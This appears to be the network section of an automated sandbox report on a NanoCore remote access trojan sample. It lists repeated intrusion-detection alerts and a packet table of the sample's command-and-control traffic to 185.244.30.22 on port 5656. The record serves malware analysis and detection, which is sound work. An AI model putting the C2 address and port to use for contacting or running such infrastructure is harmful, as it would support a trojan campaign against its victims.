08/03/21-11:35:19.298793	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49724	5656	192.168.2.5	185.244.30.22
08/03/21-11:35:25.306945	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49725	5656	192.168.2.5	185.244.30.22
08/03/21-11:35:31.535213	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49731	5656	192.168.2.5	185.244.30.22
08/03/21-11:35:37.723027	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49744	5656	192.168.2.5	185.244.30.22
08/03/21-11:35:44.442768	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49745	5656	192.168.2.5	185.244.30.22
08/03/21-11:35:50.943540	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49746	5656	192.168.2.5	185.244.30.22
08/03/21-11:35:57.169057	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49747	5656	192.168.2.5	185.244.30.22
08/03/21-11:36:04.419421	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49748	5656	192.168.2.5	185.244.30.22
08/03/21-11:36:10.588078	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49751	5656	192.168.2.5	185.244.30.22
08/03/21-11:36:16.760728	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49752	5656	192.168.2.5	185.244.30.22
08/03/21-11:36:22.878749	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49753	5656	192.168.2.5	185.244.30.22
08/03/21-11:36:28.835778	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49754	5656	192.168.2.5	185.244.30.22
08/03/21-11:36:34.868021	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49755	5656	192.168.2.5	185.244.30.22
08/03/21-11:36:40.949402	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49756	5656	192.168.2.5	185.244.30.22
08/03/21-11:36:46.919926	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49757	5656	192.168.2.5	185.244.30.22

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 3, 2021 11:34:35.800501108 CEST	49699	443	192.168.2.5	131.253.33.200
Aug 3, 2021 11:34:35.800672054 CEST	49699	443	192.168.2.5	131.253.33.200
Aug 3, 2021 11:34:35.800734043 CEST	49699	443	192.168.2.5	131.253.33.200
Aug 3, 2021 11:34:35.800786018 CEST	49699	443	192.168.2.5	131.253.33.200
Aug 3, 2021 11:34:35.800827026 CEST	49699	443	192.168.2.5	131.253.33.200
Aug 3, 2021 11:34:35.800848961 CEST	49699	443	192.168.2.5	131.253.33.200
Aug 3, 2021 11:34:35.800865889 CEST	49699	443	192.168.2.5	131.253.33.200
Aug 3, 2021 11:34:35.800894976 CEST	49699	443	192.168.2.5	131.253.33.200
Aug 3, 2021 11:34:35.800909996 CEST	49699	443	192.168.2.5	131.253.33.200
Aug 3, 2021 11:34:35.800925970 CEST	49699	443	192.168.2.5	131.253.33.200
Aug 3, 2021 11:34:35.825776100 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.825845957 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.825871944 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.825901985 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.825932026 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.825958967 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.825985909 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826075077 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826097012 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826105118 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826112986 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826121092 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826134920 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826147079 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826158047 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826170921 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826181889 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826195002 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826210022 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826221943 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826235056 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826246977 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826260090 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826272011 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826281071 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826292038 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826299906 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826311111 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826318979 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826329947 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826338053 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826349974 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826356888 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826361895 CEST	49699	443	192.168.2.5	131.253.33.200
Aug 3, 2021 11:34:35.826364994 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826376915 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826387882 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826399088 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826411009 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.826426029 CEST	49699	443	192.168.2.5	131.253.33.200
Aug 3, 2021 11:34:35.878209114 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:34:35.879103899 CEST	49699	443	192.168.2.5	131.253.33.200
Aug 3, 2021 11:34:46.366614103 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:46.490384102 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:46.490490913 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:46.556392908 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:46.728601933 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:46.728753090 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:46.914460897 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:46.914534092 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:46.961085081 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:46.961189985 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.082659006 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.082794905 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.128493071 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.128571987 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.231672049 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.275758982 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.316654921 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.316730976 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.494874954 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.494999886 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.495129108 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.495131016 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.495179892 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.495196104 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.495197058 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.495227098 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.495248079 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.495258093 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.495275021 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.495309114 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.495311975 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.495352983 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.495354891 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.495385885 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.495434999 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.495675087 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.496052980 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.623244047 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.623382092 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.632687092 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.633326054 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.633418083 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.633833885 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.643302917 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.643399954 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.643456936 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.643481016 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.643501997 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.643518925 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.643527985 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.643543005 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.643564939 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.643588066 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.643590927 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.643610001 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.643620968 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.643631935 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.643651009 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.643659115 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.643697977 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.643712044 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.643757105 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.643795967 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.643814087 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.643846035 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.643857002 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.643866062 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.643920898 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.643934011 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.643965006 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.755067110 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.755275011 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.755461931 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.759258032 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.760485888 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.760863066 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.760965109 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.761451960 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.762243986 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.762326002 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.775928020 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.777488947 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.785016060 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.785037994 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.785157919 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.785542965 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.787206888 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.790167093 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.790702105 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.790810108 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.791163921 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.791188002 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.791201115 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.791213989 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.791270971 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.791309118 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.791316032 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.791354895 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.791395903 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.791399956 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.791415930 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.791429996 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.791435003 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.791501999 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.791523933 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.791709900 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.791824102 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.792532921 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.792623997 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.793426037 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.794096947 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.794171095 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.794755936 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.795248032 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.795315981 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.795906067 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.796621084 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.796700954 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.817856073 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.818109989 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.818255901 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.818927050 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.819338083 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.819426060 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.819900990 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.819974899 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.831373930 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.831808090 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.832551956 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.832695007 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.833165884 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.833326101 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.843904018 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.844053984 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.844224930 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.844300032 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.845083952 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.845220089 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.921092987 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.921395063 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.921490908 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.921957970 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.922036886 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.922693968 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.923230886 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.923326969 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.923908949 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.925350904 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.925932884 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.926331997 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.926424980 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.927155018 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.927654028 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.927751064 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.928536892 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.928967953 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.929040909 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.952086926 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.952636003 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.952714920 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.952735901 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.952737093 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.952748060 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.952778101 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.952780962 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.952821016 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.952837944 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.952864885 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.952893019 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.952924967 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.969870090 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.971395969 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.990434885 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.990464926 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.990482092 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.990612984 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.995045900 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.995198011 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.995240927 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.995392084 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.995805025 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.996278048 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.996357918 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.996402979 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.996520042 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.996567011 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.996997118 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.997843981 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.997915030 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.997931004 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.997981071 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.999584913 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:47.999691963 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:47.999761105 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.000659943 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.000735044 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:48.000920057 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.001204967 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.001271963 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:48.001517057 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.002042055 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.002121925 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:48.002445936 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.003227949 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:48.003242970 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.003659964 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.003746033 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:48.004141092 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.004627943 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.004702091 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:48.005038977 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.005494118 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:48.039518118 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.039597034 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:48.039793015 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.039937973 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:48.040072918 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.040134907 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:48.040760040 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.040826082 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:48.041403055 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.041670084 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.041754961 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:48.049599886 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.050048113 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:48.050074100 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.050333023 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:48.050429106 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.050486088 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:48.051835060 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.052119017 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:48.052299023 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.052321911 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.052522898 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:48.052814007 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.053028107 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:48.053342104 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.053577900 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:48.055557966 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.055643082 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:48.055674076 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.055732012 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:48.061086893 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.061113119 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.061168909 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:48.089111090 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.089375973 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.089458942 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:48.090147972 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.090184927 CEST	5656	49714	185.244.30.22	192.168.2.5
Aug 3, 2021 11:34:48.090234041 CEST	49714	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:34:48.091222048 CEST	5656	49714	185.244.30.22	192.168.2.5
